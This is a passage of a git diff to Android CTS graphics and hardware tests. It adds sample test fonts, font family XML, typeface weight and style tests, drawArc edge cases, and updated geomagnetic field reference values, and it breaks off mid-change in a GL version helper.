+ <map code="0x0061" name="1em" />
+ <map code="0x0062" name="1em" />
+ <map code="0x0063" name="3em" />
+ <map code="0x0064" name="1em" />
+ <map code="0x0065" name="1em" />
+ </cmap_format_4>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="1em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ </glyf>
+
+ <name>
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ SampleFont-Regular
+ </namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-75"/>
+ <underlineThickness value="50"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp
index aeea02c..1379e48 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp
@@ -17,6 +17,7 @@
#define LOG_TAG "SyncTest"
+#include <errno.h>
#include <poll.h>
#include <unistd.h>
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png
index 38339b7..32a7516 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_clip_path_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_clip_path_1_golden.png
index be487d1..6cafa84 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_clip_path_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_clip_path_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_create_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_create_golden.png
index 943fce5..b0b6eb5 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_create_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_create_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_delete_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_delete_golden.png
index b46363e..9f60a31 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_delete_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_delete_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_evenodd_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_evenodd_golden.png
index 01c445c..452e3ab 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_evenodd_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_evenodd_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_nonzero_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_nonzero_golden.png
index 739eea1..767a3e1 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_nonzero_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_nonzero_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
index 4617f62..859df7e 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
index 4d6b84d..78ef42b 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
index c6540e8..29aee85 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
index 491e73e..1c13c30 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
index e335a92..f2cb106 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
index 57f2ae3..34e0571 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_group_clip_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_group_clip_golden.png
index e74c181..c9702c9 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_group_clip_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_group_clip_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_heart_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_heart_golden.png
index 7450751..b0af7d4 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_heart_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_heart_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_1_golden.png
index d010d79..e779718 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_2_golden.png
index 5ada060..2fbf79d 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_1_golden.png
index 5af7090..060c4b9 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_2_golden.png
index 24b9662..b8fe74d 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_cq_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_cq_golden.png
index c9677a6..9e92c8a 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_cq_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_cq_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_st_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_st_golden.png
index 8882a7a..0262e57 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_st_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_st_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_1_golden.png
index 143ce3e..1520397 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_2_golden.png
index 9a5efd2..727bb48 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_3_golden.png
index 2edc3c7..d68ab90 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_schedule_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_schedule_golden.png
index 9822bc2..2830840 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_schedule_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_schedule_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_settings_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_settings_golden.png
index d12b142..b5d25be 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_settings_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_settings_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_golden.png
index 3936c89..923347d 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_pressed_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_pressed_golden.png
index c5d06f6..74c30fa 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_pressed_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_pressed_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_golden.png
index 3936c89..923347d 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_pressed_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_pressed_golden.png
index c5d06f6..74c30fa 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_pressed_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_pressed_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_1_golden.png
index 2bf7882..c202ffc 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_2_golden.png
index 4141d6f..ed31e47 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_3_golden.png
index 1212fb3..a32de90 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_1_golden.png
index 0717399..66e4e3b 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_2_golden.png
index 505aa2e..9aeeeef 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_3_golden.png
index 9b53e94..468a1c3 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_4_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_4_golden.png
index a5d4d33..e4bc055 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_4_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_4_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_5_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_5_golden.png
index 0d8ded1..bb185f2 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_5_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_5_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_6_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_6_golden.png
index 3da7969..02901b6 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_6_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_6_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/font/a3em.ttf b/tests/tests/graphics/res/font/a3em.ttf
new file mode 100644
index 0000000..a601ce2
--- /dev/null
+++ b/tests/tests/graphics/res/font/a3em.ttf
Binary files differ
diff --git a/tests/tests/graphics/res/font/b3em.ttf b/tests/tests/graphics/res/font/b3em.ttf
new file mode 100644
index 0000000..63948a2
--- /dev/null
+++ b/tests/tests/graphics/res/font/b3em.ttf
Binary files differ
diff --git a/tests/tests/graphics/res/font/c3em.ttf b/tests/tests/graphics/res/font/c3em.ttf
new file mode 100644
index 0000000..badc3e2
--- /dev/null
+++ b/tests/tests/graphics/res/font/c3em.ttf
Binary files differ
diff --git a/tests/tests/graphics/res/font/multistyle_family.xml b/tests/tests/graphics/res/font/multistyle_family.xml
new file mode 100644
index 0000000..2522e72
--- /dev/null
+++ b/tests/tests/graphics/res/font/multistyle_family.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+ <font android:font="@font/a3em" android:fontWeight="400" android:fontStyle="normal" />
+ <font android:font="@font/b3em" android:fontWeight="400" android:fontStyle="italic" />
+ <font android:font="@font/c3em" android:fontWeight="700" android:fontStyle="italic" />
+</font-family>
diff --git a/tests/tests/graphics/res/font/multiweight_family.xml b/tests/tests/graphics/res/font/multiweight_family.xml
new file mode 100644
index 0000000..2ed0490
--- /dev/null
+++ b/tests/tests/graphics/res/font/multiweight_family.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+ <font android:font="@font/a3em" android:fontWeight="100" android:fontStyle="normal" />
+ <font android:font="@font/b3em" android:fontWeight="400" android:fontStyle="normal" />
+ <font android:font="@font/c3em" android:fontWeight="700" android:fontStyle="normal" />
+</font-family>
diff --git a/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java b/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
index b36c23a..70c3202 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
@@ -1428,6 +1428,12 @@
// normal case
mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, 11, false, mPaint);
mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, 11, true, mPaint);
+
+ // special case: sweepAngle >= abs(360)
+ mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, 400, true, mPaint);
+ mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, -400, true, mPaint);
+ mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, Float.POSITIVE_INFINITY, true, mPaint);
+ mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, Float.NEGATIVE_INFINITY, true, mPaint);
}
@Test(expected=NullPointerException.class)
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
index 04d5564..32cdd38 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
@@ -52,6 +52,19 @@
private static final String DEFAULT = (String)null;
private static final String INVALID = "invalid-family-name";
+ private static final float GLYPH_1EM_WIDTH;
+ private static final float GLYPH_3EM_WIDTH;
+
+ static {
+ // 3em.ttf supports "a", "b", "c". The width of "a" is 3em, others are 1em.
+ final Context ctx = InstrumentationRegistry.getTargetContext();
+ final Typeface typeface = ctx.getResources().getFont(R.font.a3em);
+ final Paint paint = new Paint();
+ paint.setTypeface(typeface);
+ GLYPH_3EM_WIDTH = paint.measureText("a");
+ GLYPH_1EM_WIDTH = paint.measureText("b");
+ }
+
// list of family names to try when attempting to find a typeface with a given style
private static final String[] FAMILIES =
{ (String) null, "monospace", "serif", "sans-serif", "cursive", "arial", "times" };
@@ -531,4 +544,68 @@
assertTrue(Math.abs(widthFromRegular - widthFromBlack) > 1.0f);
}
+
+ @Test
+ public void testTypefaceCreate_withExactWeight() {
+ // multiweight_family has following fonts.
+ // - a3em.ttf with weight = 100, style=normal configuration.
+ // This font supports "a", "b", "c". The weight "a" is 3em, others are 1em.
+ // - b3em.ttf with weight = 400, style=normal configuration.
+ // This font supports "a", "b", "c". The weight "b" is 3em, others are 1em.
+ // - c3em.ttf with weight = 700, style=normal configuration.
+ // This font supports "a", "b", "c". The weight "c" is 3em, others are 1em.
+ final Typeface family = mContext.getResources().getFont(R.font.multiweight_family);
+ assertNotNull(family);
+
+ final Paint paint = new Paint();
+ // By default, the font which weight is 400 is selected.
+ paint.setTypeface(family);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("a"), 0f);
+ assertEquals(GLYPH_3EM_WIDTH, paint.measureText("b"), 0f);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("c"), 0f);
+
+ // Draw with the font which weight is 100.
+ paint.setTypeface(Typeface.create(family, 100 /* weight */, false /* italic */));
+ assertEquals(GLYPH_3EM_WIDTH, paint.measureText("a"), 0f);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("b"), 0f);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("c"), 0f);
+
+ // Draw with the font which weight is 700.
+ paint.setTypeface(Typeface.create(family, 700 /* weight */, false /* italic */));
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("a"), 0f);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("b"), 0f);
+ assertEquals(GLYPH_3EM_WIDTH, paint.measureText("c"), 0f);
+ }
+
+ @Test
+ public void testTypefaceCreate_withExactStyle() {
+ // multiweight_family has following fonts.
+ // - a3em.ttf with weight = 400, style=normal configuration.
+ // This font supports "a", "b", "c". The weight "a" is 3em, others are 1em.
+ // - b3em.ttf with weight = 400, style=italic configuration.
+ // This font supports "a", "b", "c". The weight "b" is 3em, others are 1em.
+ // - c3em.ttf with weight = 700, style=italic configuration.
+ // This font supports "a", "b", "c". The weight "c" is 3em, others are 1em.
+ final Typeface family = mContext.getResources().getFont(R.font.multistyle_family);
+ assertNotNull(family);
+
+ final Paint paint = new Paint();
+ // By default, the normal style font which weight is 400 is selected.
+ paint.setTypeface(family);
+ assertEquals(GLYPH_3EM_WIDTH, paint.measureText("a"), 0f);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("b"), 0f);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("c"), 0f);
+
+ // Draw with the italic font.
+ paint.setTypeface(Typeface.create(family, 400 /* weight */, true /* italic */));
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("a"), 0f);
+ assertEquals(GLYPH_3EM_WIDTH, paint.measureText("b"), 0f);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("c"), 0f);
+
+ // Draw with the italic font which weigth is 700.
+ paint.setTypeface(Typeface.create(family, 700 /* weight */, true /* italic */));
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("a"), 0f);
+ assertEquals(GLYPH_1EM_WIDTH, paint.measureText("b"), 0f);
+ assertEquals(GLYPH_3EM_WIDTH, paint.measureText("c"), 0f);
+ }
}
diff --git a/tests/tests/hardware/src/android/hardware/cts/GeomagneticFieldTest.java b/tests/tests/hardware/src/android/hardware/cts/GeomagneticFieldTest.java
index 75d7b7c..8968442 100644
--- a/tests/tests/hardware/src/android/hardware/cts/GeomagneticFieldTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/GeomagneticFieldTest.java
@@ -23,26 +23,79 @@
import java.util.GregorianCalendar;
public class GeomagneticFieldTest extends AndroidTestCase {
- // Chengdu: Latitude 30d 40' 12", Longitude 104d 3' 36"
- private static final float LATITUDE_OF_CHENGDU = 30.67f;
- private static final float LONGITUDE_OF_CHENGDU = 104.06f;
- private static final float ALTITUDE_OF_CHENGDU = 500f;
- private static final long TEST_TIME = new GregorianCalendar(2010, 5, 1).getTimeInMillis();
+ private static final float DECLINATION_THRESHOLD = 0.1f;
+ private static final float INCLINATION_THRESHOLD = 0.1f;
+ private static final float FIELD_STRENGTH_THRESHOLD = 100;
@Presubmit
public void testGeomagneticField() {
- GeomagneticField geomagneticField = new GeomagneticField(LATITUDE_OF_CHENGDU,
- LONGITUDE_OF_CHENGDU, ALTITUDE_OF_CHENGDU, TEST_TIME);
+ // Reference values calculated from NOAA online calculator for WMM 2015
+ // https://www.ngdc.noaa.gov/geomag-web/#igrfwmm
+ TestDataPoint testPoints[] = new TestDataPoint[] {
+ // Mountain View, CA, USA on 2017/1/1
+ new TestDataPoint(37.386f, -122.083f, 32, 2017, 1, 1,
+ 13.4589f, 60.9542f, 48168.0f),
+ // Chengdu, China on 2017/8/8
+ new TestDataPoint(30.658f, 103.935f, 500f, 2017, 8, 8,
+ -1.9784f, 47.9723f, 50717.3f),
+ // Sao Paulo, Brazil on 2018/12/25
+ new TestDataPoint(-23.682f, -46.875f, 760f, 2018, 12, 25,
+ -21.3130f, -37.9940f, 22832.3f),
+ // Boston, MA, USA on 2019/2/10
+ new TestDataPoint(42.313f, -71.127f, 43f, 2019, 2, 10,
+ -14.5391f, 66.9693f, 51815.1f),
+ // Cape Town, South Africa on 2019/5/1
+ new TestDataPoint(-33.913f, 18.095f, 100f, 2019, 5, 1,
+ -25.2454f, -65.8887f, 25369.2f),
+ // Sydney, Australia on 2020/1/1
+ new TestDataPoint(-33.847f, 150.791f, 19f, 2020, 1, 1,
+ 12.4469f, -64.3443f, 57087.9f)
+ };
- // Reference values calculated from NOAA online calculator for WMM 2010,
- // and cross-checked in Matlab. The expected deltas are proportional to the
- // magnitude of each value.
- assertEquals(-1.867f, geomagneticField.getDeclination(), 0.1f);
- assertEquals(47.133f, geomagneticField.getInclination(), 1.0f);
- assertEquals(50375.6f, geomagneticField.getFieldStrength(), 100.0f);
- assertEquals(34269.3f, geomagneticField.getHorizontalStrength(), 100.0f);
- assertEquals(34251.2f, geomagneticField.getX(), 100.0f);
- assertEquals(-1113.2f, geomagneticField.getY(), 10.0f);
- assertEquals(36923.1f, geomagneticField.getZ(), 100.0f);
+ for (TestDataPoint t : testPoints) {
+ GeomagneticField field =
+ new GeomagneticField(t.latitude, t.longitude, t.altitude, t.epochTimeMillis);
+ assertEquals(t.declinationDegree, field.getDeclination(), DECLINATION_THRESHOLD);
+ assertEquals(t.inclinationDegree, field.getInclination(), INCLINATION_THRESHOLD);
+ assertEquals(t.fieldStrengthNanoTesla, field.getFieldStrength(),
+ FIELD_STRENGTH_THRESHOLD);
+
+ float horizontalFieldStrengthNanoTesla = (float)(
+ Math.cos(Math.toRadians(t.inclinationDegree)) * t.fieldStrengthNanoTesla);
+ assertEquals(horizontalFieldStrengthNanoTesla, field.getHorizontalStrength(),
+ FIELD_STRENGTH_THRESHOLD);
+
+ float verticalFieldStrengthNanoTesla = (float)(
+ Math.sin(Math.toRadians(t.inclinationDegree)) * t.fieldStrengthNanoTesla);
+ assertEquals(verticalFieldStrengthNanoTesla, field.getZ(), FIELD_STRENGTH_THRESHOLD);
+
+ float declinationDegree = (float)(
+ Math.toDegrees(Math.atan2(field.getY(), field.getX())));
+ assertEquals(t.declinationDegree, declinationDegree, DECLINATION_THRESHOLD);
+ assertEquals(horizontalFieldStrengthNanoTesla,
+ Math.sqrt(field.getX() * field.getX() + field.getY() * field.getY()),
+ FIELD_STRENGTH_THRESHOLD);
+ }
+ }
+
+ private class TestDataPoint {
+ public final float latitude;
+ public final float longitude;
+ public final float altitude;
+ public final long epochTimeMillis;
+ public final float declinationDegree;
+ public final float inclinationDegree;
+ public final float fieldStrengthNanoTesla;
+
+ TestDataPoint(float lat, float lng, float alt, int year, int month, int day,
+ float dec, float inc, float strength) {
+ latitude = lat;
+ longitude = lng;
+ altitude = alt;
+ epochTimeMillis = new GregorianCalendar(year, month, day).getTimeInMillis();
+ declinationDegree = dec;
+ inclinationDegree = inc;
+ fieldStrengthNanoTesla = strength;
+ }
}
}
diff --git a/tests/tests/hardware/src/android/hardware/cts/GlUtils.java b/tests/tests/hardware/src/android/hardware/cts/GlUtils.java
index 81628d4..bd5cecb 100644
--- a/tests/tests/hardware/src/android/hardware/cts/GlUtils.java
+++ b/tests/tests/hardware/src/android/hardware/cts/GlUtils.java
@@ -17,6 +17,7 @@
package android.hardware.cts;
import android.opengl.GLES20;
+import android.util.Pair;
import java.util.Arrays;
import java.util.regex.Matcher;
@@ -27,6 +28,10 @@
}
static int getMajorVersion() {
+ return getVersion().first;
+ }
+
+ static Pair<Integer, Integer> getVersion() {
// Section 6.1.5 of the OpenGL ES specification indicates the GL version
// string strictly follows this format:
//
@@ -42,9 +47,10 @@
Pattern pattern = Pattern.compile("OpenGL ES ([0-9]+)\\.([0-9]+)");
Matcher matcher = pattern.matcher(version);
if (matcher.find()) {
- return Integer.parseInt(matcher.group(1));
